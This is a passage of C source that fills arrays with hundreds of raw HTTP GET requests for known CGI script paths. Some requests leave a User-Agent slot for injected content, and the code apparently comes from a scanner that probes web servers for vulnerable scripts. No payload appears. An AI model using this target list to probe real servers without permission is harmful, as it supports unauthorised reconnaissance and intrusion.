  buff[231] = "GET /cgi-bin/smartsearch/smartsearch.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[232] = "GET /cgi-bin/snorkerz.bat HTTP/1.0\nUser-Agent:%s\n\n";
  buff[233] = "GET /cgi-bin/snorkerz.cmd HTTP/1.0\nUser-Agent:%s\n\n";
  buff[234] = "GET /cgi-bin/sojourn.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[235] = "GET /cgi-bin/spin_client.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[236] = "GET /cgi-bin/start.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[237] = "GET /cgi-bin/store.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[238] = "GET /cgi-bin/store/agora.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[239] = "GET /cgi-bin/store/index.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[240] = "GET /cgi-bin/survey.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[241] = "GET /cgi-bin/talkback.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[242] = "GET /cgi-bin/technote/main.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[243] = "GET /cgi-bin/test-cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[244] = "GET /cgi-bin/test.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[245] = "GET /cgi-bin/test/test.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[246] = "GET /cgi-bin/test2.pl HTTP/1.0\nUser-Agent:%s\n\n";
  buff[247] = "GET /cgi-bin/testing_whatever HTTP/1.0\nUser-Agent:%s\n\n";
  buff[248] = "GET /cgi-bin/tidfinder.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[249] = "GET /cgi-bin/tigvote.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[250] = "GET /cgi-bin/title.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[251] = "GET /cgi-bin/traffic.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[252] = "GET /cgi-bin/troops.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[253] = "GET /cgi-bin/ttawebtop.cgi/ HTTP/1.0\nUser-Agent:%s\n\n";
  buff[254] = "GET /cgi-bin/ultraboard.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[255] = "GET /cgi-bin/upload.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[256] = "GET /cgi-bin/urlcount.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[257] = "GET /cgi-bin/viewcvs.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[258] = "GET /cgi-bin/viralator.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[259] = "GET /cgi-bin/virgil.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[260] = "GET /cgi-bin/vote.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[261] = "GET /cgi-bin/vpasswd.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[262] = "GET /cgi-bin/way-board.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[263] = "GET /cgi-bin/way-board/way-board.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[264] = "GET /cgi-bin/webbbs.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[265] = "GET /cgi-bin/webcart/webcart.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[266] = "GET /cgi-bin/webdist.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[267] = "GET /cgi-bin/webif.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[268] = "GET /cgi-bin/webmail/html/emumail.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[269] = "GET /cgi-bin/webmap.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[270] = "GET /cgi-bin/webspirs.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[271] = "GET /cgi-bin/whois.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[272] = "GET /cgi-bin/whois/whois.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[273] = "GET /cgi-bin/whois_raw.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[274] = "GET /cgi-bin/wrap HTTP/1.0\nUser-Agent:%s\n\n";
  buff[275] = "GET /cgi-bin/wrap.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[276] = "GET /cgi-bin/wwwboard.cgi.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[277] = "GET /cgi-bin/YaBB/YaBB.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[278] = "GET /cgi-bin/zml.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[279] = "GET /cgi-sys/addalink.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[280] = "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[281] = "GET /cgi-sys/domainredirect.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[282] = "GET /cgi-sys/entropybanner.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[283] = "GET /cgi-sys/entropysearch.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[284] = "GET /cgi-sys/FormMail-clone.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[285] = "GET /cgi-sys/helpdesk.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[286] = "GET /cgi-sys/mchat.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[287] = "GET /cgi-sys/randhtml.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[288] = "GET /cgi-sys/realhelpdesk.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[289] = "GET /cgi-sys/realsignup.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[290] = "GET /cgi-sys/signup.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[291] = "GET /cgis/wwwboard/wwwboard.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[292] = "GET /connector.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[293] = "GET /cp/rac/nsManager.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[294] = "GET /create_release.sh HTTP/1.0\nUser-Agent:%s\n\n";
  buff[295] = "GET /CSNews.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[296] = "GET /csPassword.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[297] = "GET /dcadmin.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[298] = "GET /dcboard.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[299] = "GET /dcforum.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[300] = "GET /dcforum/dcforum.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[301] = "GET /debuff.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[302] = "GET /details.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[303] = "GET /edittag/edittag.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[304] = "GET /emumail.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[305] = "GET /enter_buff.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[306] = "GET /ez2000/ezadmin.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[307] = "GET /ez2000/ezboard.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[308] = "GET /ez2000/ezman.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[309] = "GET /fcgi-bin/echo HTTP/1.0\nUser-Agent:%s\n\n";
  buff[310] = "GET /fcgi-bin/echo2 HTTP/1.0\nUser-Agent:%s\n\n";
  buff[311] = "GET /Gozila.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[312] = "GET /hitmatic/analyse.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[313] = "GET /html/cgi-bin/cgicso HTTP/1.0\nUser-Agent:%s\n\n";
  buff[314] = "GET /index.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[315] = "GET /info.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[316] = "GET /infosrch.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[317] = "GET /login.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[318] = "GET /mailview.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[319] = "GET /main.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[320] = "GET /megabook/admin.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[321] = "GET /ministats/admin.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[322] = "GET /mods/apage/apage.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[323] = "GET /musicqueue.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[324] = "GET /ncbook.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[325] = "GET /newpro.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[326] = "GET /newsletter.sh HTTP/1.0\nUser-Agent:%s\n\n";
  buff[327] = "GET /oem_webstage/cgi-bin/oemapp_cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[328] = "GET /page.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[329] = "GET /parse_xml.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[330] = "GET /photo/manage.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[331] = "GET /photodata/manage.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[332] = "GET /print.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[333] = "GET /process_buff.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[334] = "GET /pub/english.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[335] = "GET /quikmail/nph-emumail.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[336] = "GET /quikstore.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[337] = "GET /reviews/newpro.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[338] = "GET /ROADS/cgi-bin/search.pl HTTP/1.0\nUser-Agent:%s\n\n";
  buff[339] = "GET /sample01.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[340] = "GET /sample02.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[341] = "GET /sample03.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[342] = "GET /sample04.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[343] = "GET /sampleposteddata.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[344] = "GET /scancfg.cgi\n\n";
  buff[345] = "GET /servers/link.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[346] = "GET /setpasswd.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[347] = "GET /SetSecurity.shm HTTP/1.0\nUser-Agent:%s\n\n";
  buff[348] = "GET /shop/member_html.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[349] = "GET /shop/normal_html.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[350] = "GET /site_searcher.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[351] = "GET /siteUserMod.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[352] = "GET /submit.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[353] = "GET /technote/print.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[354] = "GET /template.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[355] = "GET /test.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[356] = "GET /upload.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[357] = "GET /userreg.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[358] = "GET /users/scripts/submit.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[359] = "GET /Web_Store/web_store.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[360] = "GET /webtools/bonsai/ccvsblame.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[361] = "GET /webtools/bonsai/cvsblame.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[362] = "GET /webtools/bonsai/cvslog.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[363] = "GET /webtools/bonsai/cvsquery.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[364] = "GET /webtools/bonsai/cvsqueryform.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[365] = "GET /webtools/bonsai/showcheckins.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[366] = "GET /wwwadmin.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[367] = "GET /wwwboard.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[368] = "GET /cgi-sys/entropysearch.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[369] = "GET /cgi-sys/FormMail-clone.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[370] = "GET /wwwboard/wwwboard.cgi HTTP/1.0\nUser-Agent:%s\n\n";

  bug[1] = "GET /_mt/mt.cgi HTTP/1.0\n\n";
  bug[2] = "GET /admin.cgi HTTP/1.0\n\n";
  bug[3] = "GET /administrator.cgi HTTP/1.0\n\n";
  bug[4] = "GET /agora.cgi HTTP/1.0\n\n";
  bug[5] = "GET /aktivate/cgi-bin/catgy.cgi HTTP/1.0\n\n";
  bug[6] = "GET /analyse.cgi HTTP/1.0\n\n";
  bug[7] = "GET /apps/web/vs_diag.cgi HTTP/1.0\n\n";
  bug[8] = "GET /axis-cgi/buffer/command.cgi HTTP/1.0\n\n";
  bug[9] = "GET /bandwidth/index.cgi HTTP/1.0\n\n";
  bug[10] = "GET /bigconf.cgi HTTP/1.0\n\n";
  bug[11] = "GET /cart.cgi HTTP/1.0\n\n";
  bug[12] = "GET /cartcart.cgi HTTP/1.0\n\n";
  bug[13] = "GET /ccbill/whereami.cgi HTTP/1.0\n\n";
  bug[14] = "GET /cgi-bin/status HTTP/1.0\n\n";
  bug[15] = "GET /cgi-bin-sdb/printenv HTTP/1.0\n\n";
  bug[16] = "GET /cgi-bin/.cobalt/alert/service.cgi HTTP/1.0\n\n";
  bug[17] = "GET /cgi-bin/.cobalt/message/message.cgi HTTP/1.0\n\n";
  bug[18] = "GET /cgi-bin/.cobalt/siteUserMod/siteUserMod.cgi HTTP/1.0\n\n";
  bug[19] = "GET /cgi-bin/.namazu.cgi HTTP/1.0\n\n";
  bug[20] = "GET /cgi-bin/14all-1.1.cgi HTTP/1.0\n\n";
  bug[21] = "GET /cgi-bin/14all.cgi HTTP/1.0\n\n";
  bug[22] = "GET /cgi-bin/a1disp3.cgi HTTP/1.0\n\n";
  bug[23] = "GET /cgi-bin/a1stats/a1disp3.cgi HTTP/1.0\n\n";
  bug[24] = "GET /cgi-bin/a1stats/a1disp4.cgi HTTP/1.0\n\n";
  bug[25] = "GET /cgi-bin/add_ftp.cgi HTTP/1.0\n\n";
  bug[26] = "GET /cgi-bin/addbanner.cgi HTTP/1.0\n\n";
  bug[27] = "GET /cgi-bin/adduser.cgi HTTP/1.0\n\n";
  bug[28] = "GET /cgi-bin/admin.cgi HTTP/1.0\n\n";
  bug[29] = "GET /cgi-bin/admin.pl HTTP/1.0\n\n";
  bug[30] = "GET /cgi-bin/admin/admin.cgi HTTP/1.0\n\n";
  bug[31] = "GET /cgi-bin/admin/setup.cgi HTTP/1.0\n\n";
  bug[32] = "GET /cgi-bin/adminhot.cgi HTTP/1.0\n\n";
  bug[33] = "GET /cgi-bin/adminwww.cgi HTTP/1.0\n\n";
  bug[34] = "GET /cgi-bin/af.cgi HTTP/1.0\n\n";
  bug[35] = "GET /cgi-bin/aglimpse.cgi HTTP/1.0\n\n";
  bug[36] = "GET /cgi-bin/alienform.cgi HTTP/1.0\n\n";
  bug[37] = "GET /cgi-bin/AnyBoard.cgi HTTP/1.0\n\n";
  bug[38] = "GET /cgi-bin/architext_query.cgi HTTP/1.0\n\n";
  bug[39] = "GET /cgi-bin/astrocam.cgi HTTP/1.0\n\n";
  bug[40] = "GET /cgi-bin/AT-admin.cgi HTTP/1.0\n\n";
  bug[41] = "GET /cgi-bin/AT-generate.cgi HTTP/1.0\n\n";
  bug[42] = "GET /cgi-bin/auction/auction.cgi HTTP/1.0\n\n";
  bug[43] = "GET /cgi-bin/auktion.cgi HTTP/1.0\n\n";
  bug[44] = "GET /cgi-bin/ax-admin.cgi HTTP/1.0\n\n";
  bug[45] = "GET /cgi-bin/ax.cgi HTTP/1.0\n\n";
  bug[46] = "GET /cgi-bin/axs.cgi HTTP/1.0\n\n";
  bug[47] = "GET /cgi-bin/badmin.cgi HTTP/1.0\n\n";
  bug[48] = "GET /cgi-bin/banner.cgi HTTP/1.0\n\n";
  bug[49] = "GET /cgi-bin/bannereditor.cgi HTTP/1.0\n\n";
  bug[50] = "GET /cgi-bin/bb-ack.sh HTTP/1.0\n\n";
  bug[51] = "GET /cgi-bin/bb-hist.sh HTTP/1.0\n\n";
  bug[52] = "GET /cgi-bin/bb-histlog.sh HTTP/1.0\n\n";
  bug[53] = "GET /cgi-bin/bb-hostsvc.sh HTTP/1.0\n\n";
  bug[54] = "GET /cgi-bin/bb-rep.sh HTTP/1.0\n\n";
  bug[55] = "GET /cgi-bin/bb-replog.sh HTTP/1.0\n\n";
  bug[56] = "GET /cgi-bin/bbs_forum.cgi HTTP/1.0\n\n";
  bug[57] = "GET /cgi-bin/bigconf.cgi HTTP/1.0\n\n";
  bug[58] = "GET /cgi-bin/bizdb1-search.cgi HTTP/1.0\n\n";
  bug[59] = "GET /cgi-bin/blog/mt-check.cgi HTTP/1.0\n\n";
  bug[60] = "GET /cgi-bin/blog/mt-load.cgi HTTP/1.0\n\n";
  bug[61] = "GET /cgi-bin/bnbform.cgi HTTP/1.0\n\n";
  bug[62] = "GET /cgi-bin/book.cgi HTTP/1.0\n\n";
  bug[63] = "GET /cgi-bin/boozt/admin/index.cgi HTTP/1.0\n\n";
  bug[64] = "GET /cgi-bin/bsguest.cgi HTTP/1.0\n\n";
  bug[65] = "GET /cgi-bin/bslist.cgi HTTP/1.0\n\n";
  bug[66] = "GET /cgi-bin/build.cgi HTTP/1.0\n\n";
  bug[67] = "GET /cgi-bin/bulk/bulk.cgi HTTP/1.0\n\n";
  bug[68] = "GET /cgi-bin/c_download.cgi HTTP/1.0\n\n";
  bug[69] = "GET /cgi-bin/cached_feed.cgi HTTP/1.0\n\n";
  bug[70] = "GET /cgi-bin/cachemgr.cgi HTTP/1.0\n\n";
  bug[71] = "GET /cgi-bin/calendar/index.cgi HTTP/1.0\n\n";
  bug[72] = "GET /cgi-bin/cartmanager.cgi HTTP/1.0\n\n";
  bug[73] = "GET /cgi-bin/cbmc/forums.cgi HTTP/1.0\n\n";
  bug[74] = "GET /cgi-bin/ccvsblame.cgi HTTP/1.0\n\n";
  bug[75] = "GET /cgi-bin/cgforum.cgi HTTP/1.0\n\n";
  bug[76] = "GET /cgi-bin/cgi_process HTTP/1.0\n\n";
  bug[77] = "GET /cgi-bin/classified.cgi HTTP/1.0\n\n";
  bug[78] = "GET /cgi-bin/classifieds.cgi HTTP/1.0\n\n";
  bug[79] = "GET /cgi-bin/classifieds/classifieds.cgi HTTP/1.0\n\n";
  bug[80] = "GET /cgi-bin/classifieds/index.cgi HTTP/1.0\n\n";
  bug[81] = "GET /cgi-bin/commandit.cgi HTTP/1.0\n\n";
  bug[82] = "GET /cgi-bin/commerce.cgi HTTP/1.0\n\n";
  bug[83] = "GET /cgi-bin/common/listrec.pl HTTP/1.0\n\n";
  bug[84] = "GET /cgi-bin/compatible.cgi HTTP/1.0\n\n";
  bug[85] = "GET /cgi-bin/Count.cgi HTTP/1.0\n\n";
  bug[86] = "GET /cgi-bin/csChatRBox.cgi HTTP/1.0\n\n";
  bug[87] = "GET /cgi-bin/csGuestBook.cgi HTTP/1.0\n\n";
  bug[88] = "GET /cgi-bin/csLiveSupport.cgi HTTP/1.0\n\n";
  bug[89] = "GET /cgi-bin/CSMailto.cgi HTTP/1.0\n\n";
  bug[90] = "GET /cgi-bin/CSMailto/CSMailto.cgi HTTP/1.0\n\n";
  bug[91] = "GET /cgi-bin/csNews.cgi HTTP/1.0\n\n";
  bug[92] = "GET /cgi-bin/csNewsPro.cgi HTTP/1.0\n\n";
  bug[93] = "GET /cgi-bin/csPassword.cgi HTTP/1.0\n\n";
  bug[94] = "GET /cgi-bin/csPassword/csPassword.cgi HTTP/1.0\n\n";
  bug[95] = "GET /cgi-bin/csSearch.cgi HTTP/1.0\n\n";
  bug[96] = "GET /cgi-bin/csv_db.cgi HTTP/1.0\n\n";
  bug[97] = "GET /cgi-bin/cvsblame.cgi HTTP/1.0\n\n";
  bug[98] = "GET /cgi-bin/cvslog.cgi HTTP/1.0\n\n";
  bug[99] = "GET /cgi-bin/cvsquery.cgi HTTP/1.0\n\n";
  bug[100] = "GET /cgi-bin/cvsqueryform.cgi HTTP/1.0\n\n";
  bug[101] = "GET /cgi-bin/day5datacopier.cgi HTTP/1.0\n\n";
  bug[102] = "GET /cgi-bin/day5datanotifier.cgi HTTP/1.0\n\n";
  bug[103] = "GET /cgi-bin/db_manager.cgi HTTP/1.0\n\n";
  bug[104] = "GET /cgi-bin/dbman/db.cgi HTTP/1.0\n\n";
  bug[105] = "GET /cgi-bin/dcforum.cgi HTTP/1.0\n\n";
  bug[106] = "GET /cgi-bin/dfire.cgi HTTP/1.0\n\n";
  bug[107] = "GET /cgi-bin/diagnose.cgi HTTP/1.0\n\n";
  bug[108] = "GET /cgi-bin/dig.cgi HTTP/1.0\n\n";
  bug[109] = "GET /cgi-bin/directorypro.cgi HTTP/1.0\n\n";
  bug[110] = "GET /cgi-bin/download.cgi HTTP/1.0\n\n";
  bug[111] = "GET /cgi-bin/emu/html/emumail.cgi HTTP/1.0\n\n";
  bug[112] = "GET /cgi-bin/emumail.cgi HTTP/1.0\n\n";
  bug[113] = "GET /cgi-bin/emumail/emumail.cgi HTTP/1.0\n\n";
  bug[114] = "GET /cgi-bin/enter.cgi HTTP/1.0\n\n";
  bug[115] = "GET /cgi-bin/environ.cgi HTTP/1.0\n\n";
  bug[116] = "GET /cgi-bin/ezadmin.cgi HTTP/1.0\n\n";
  bug[117] = "GET /cgi-bin/ezboard.cgi HTTP/1.0\n\n";
  bug[118] = "GET /cgi-bin/ezman.cgi HTTP/1.0\n\n";
  bug[119] = "GET /cgi-bin/ezshopper/loadpage.cgi HTTP/1.0\n\n";
  bug[120] = "GET/cgi-bin/ezshopper/search.cgi HTTP/1.0\n\n";
  bug[121] = "GET /cgi-bin/ezshopper2/loadpage.cgi HTTP/1.0\n\n";
  bug[122] = "GET /cgi-bin/ezshopper3/loadpage.cgi HTTP/1.0\n\n";
  bug[123] = "GET /cgi-bin/faqmanager.cgi HTTP/1.0\n\n";
  bug[124] = "GET /cgi-bin/FileSeek.cgi HTTP/1.0\n\n";
  bug[125] = "GET /cgi-bin/FileSeek2.cgi HTTP/1.0\n\n";
  bug[126] = "GET /cgi-bin/finger.cgi HTTP/1.0\n\n";
  bug[127] = "GET /cgi-bin/flexform.cgi HTTP/1.0\n\n";
  bug[128] = "GET /cgi-bin/fom.cgi HTTP/1.0\n\n";
  bug[129] = "GET /cgi-bin/fom/fom.cgi HTTP/1.0\n\n";
  bug[130] = "GET /cgi-bin/FormHandler.cgi HTTP/1.0\n\n";
  bug[131] = "GET /cgi-bin/FormMail.cgi HTTP/1.0\n\n";
  bug[132] = "GET /cgi-bin/gbadmin.cgi HTTP/1.0\n\n";
  bug[133] = "GET /cgi-bin/gbook/gbook.cgi HTTP/1.0\n\n";
  bug[134] = "GET /cgi-bin/generate.cgi HTTP/1.0\n\n";
  bug[135] = "GET /cgi-bin/getdoc.cgi HTTP/1.0\n\n";
  bug[136] = "GET /cgi-bin/gH.cgi HTTP/1.0\n\n";
  bug[137] = "GET /cgi-bin/gm-authors.cgi HTTP/1.0\n\n";
  bug[138] = "GET /cgi-bin/gm-cplog.cgi HTTP/1.0\n\n";
  bug[139] = "GET /cgi-bin/gm.cgi HTTP/1.0\n\n";
  bug[140] = "GET /cgi-bin/guestbook.cgi HTTP/1.0\n\n";
  bug[141] = "GET /cgi-bin/handler HTTP/1.0\n\n";
  bug[142] = "GET /cgi-bin/handler.cgi HTTP/1.0\n\n";
  bug[143] = "GET /cgi-bin/handler/netsonar HTTP/1.0\n\n";
  bug[144] = "GET /cgi-bin/hitview.cgi HTTP/1.0\n\n";
  bug[145] = "GET /cgi-bin/hsx.cgi HTTP/1.0\n\n";
  bug[146] = "GET /cgi-bin/html2chtml.cgi HTTP/1.0\n\n";
  bug[147] = "GET /cgi-bin/html2wml.cgi HTTP/1.0\n\n";
  bug[148] = "GET /cgi-bin/htsearch.cgi HTTP/1.0\n\n";
  bug[149] = "GET /cgi-bin/icat HTTP/1.0\n\n";
  bug[150] = "GET /cgi-bin/if/admin/nph-build.cgi HTTP/1.0\n\n";
  bug[151] = "GET /cgi-bin/ikonboard/help.cgi HTTP/1.0\n\n";
  bug[152] = "GET /cgi-bin/imageFolio.cgi HTTP/1.0\n\n";
  bug[153] = "GET /cgi-bin/ImageFolio/admin/admin.cgi HTTP/1.0\n\n";
  bug[154] = "GET /cgi-bin/infosrch.cgi HTTP/1.0\n\n";
  bug[155] = "GET /cgi-bin/jammail.pl HTTP/1.0\n\n";
  bug[156] = "GET /cgi-bin/journal.cgi HTTP/1.0\n\n";
  bug[157] = "GET /cgi-bin/lastlines.cgi HTTP/1.0\n\n";
  bug[158] = "GET /cgi-bin/loadpage.cgi HTTP/1.0\n\n";
  bug[159] = "GET /cgi-bin/log-reader.cgi HTTP/1.0\n\n";
  bug[160] = "GET /cgi-bin/login.cgi HTTP/1.0\n\n";
  bug[161] = "GET /cgi-bin/logit.cgi HTTP/1.0\n\n";
  bug[162] = "GET /cgi-bin/lookwho.cgi HTTP/1.0\n\n";
  bug[163] = "GET /cgi-bin/lwgate.cgi HTTP/1.0\n\n";
  bug[164] = "GET /cgi-bin/MachineInfo HTTP/1.0\n\n";
  bug[165] = "GET /cgi-bin/magiccard.cgi HTTP/1.0\n\n";
  bug[166] = "GET /cgi-bin/mail/emumail.cgi HTTP/1.0\n\n";
  bug[167] = "GET /cgi-bin/mail/nph-mr.cgi HTTP/1.0\n\n";
  bug[168] = "GET /cgi-bin/maillist.cgi HTTP/1.0\n\n";
  bug[169] = "GET /cgi-bin/mailnews.cgi HTTP/1.0\n\n";
  bug[170] = "GET /cgi-bin/main.cgi HTTP/1.0\n\n";
  bug[171] = "GET /cgi-bin/main_menu.pl HTTP/1.0\n\n";
  bug[172] = "GET /cgi-bin/man.sh HTTP/1.0\n\n";
  bug[173] = "GET /cgi-bin/mini_logger.cgi HTTP/1.0\n\n";
  bug[174] = "GET /cgi-bin/mmstdod.cgi HTTP/1.0\n\n";
  bug[175] = "GET /cgi-bin/moin.cgi HTTP/1.0\n\n";
  bug[176] = "GET /cgi-bin/mojo/mojo.cgi HTTP/1.0\n\n";
  bug[177] = "GET /cgi-bin/mrtg.cgi HTTP/1.0\n\n";
  bug[178] = "GET /cgi-bin/mt-static/mt-check.cgi HTTP/1.0\n\n";
  bug[179] = "GET /cgi-bin/mt-static/mt-load.cgi HTTP/1.0\n\n";
  bug[180] = "GET /cgi-bin/mt/mt-check.cgi HTTP/1.0\n\n";
  bug[181] = "GET /cgi-bin/mt/mt-load.cgi HTTP/1.0\n\n";
  bug[182] = "GET /cgi-bin/musicqueue.cgi HTTP/1.0\n\n";
  bug[183] = "GET /cgi-bin/myguestbook.cgi HTTP/1.0\n\n";
  bug[184] = "GET /cgi-bin/netauth.cgi HTTP/1.0\n\n";
  bug[185] = "GET /cgi-bin/netpad.cgi HTTP/1.0\n\n";
  bug[186] = "GET /cgi-bin/newsdesk.cgi HTTP/1.0\n\n";
  bug[187] = "GET /cgi-bin/nlog-smb.cgi HTTP/1.0\n\n";
  bug[188] = "GET /cgi-bin/nph-emumail.cgi HTTP/1.0\n\n";
  bug[189] = "GET /cgi-bin/nph-exploitscanget.cgi HTTP/1.0\n\n";
  bug[190] = "GET /cgi-bin/nph-publish.cgi HTTP/1.0\n\n";
  bug[191] = "GET /cgi-bin/nph-test.cgi HTTP/1.0\n\n";
  bug[192] = "GET /cgi-bin/pagelog.cgi HTTP/1.0\n\n";
  bug[193] = "GET /cgi-bin/pbcgi.cgi HTTP/1.0\n\n";
  bug[194] = "GET /cgi-bin/perlshop.cgi HTTP/1.0\n\n";
  bug[195] = "GET /cgi-bin/pfdispaly.cgi HTTP/1.0\n\n";
  bug[196] = "GET /cgi-bin/pfdisplay.cgi HTTP/1.0\n\n";
  bug[197] = "GET /cgi-bin/phf.cgi HTTP/1.0\n\n";
  bug[198] = "GET /cgi-bin/photo/manage.cgi HTTP/1.0\n\n";
  bug[199] = "GET /cgi-bin/photo/protected/manage.cgi HTTP/1.0\n\n";
  bug[200] = "GET /cgi-bin/php.cgi HTTP/1.0\n\n";
  bug[201] = "GET /cgi-bin/pollit/Poll_It_SSI_v2.0.cgi HTTP/1.0\n\n";
  bug[202] = "GET /cgi-bin/pollssi.cgi HTTP/1.0\n\n";
  bug[203] = "GET /cgi-bin/postcards.cgi HTTP/1.0\n\n";
  bug[204] = "GET /cgi-bin/powerup/r.cgi HTTP/1.0\n\n";
  bug[205] = "GET /cgi-bin/printenv HTTP/1.0\n\n";
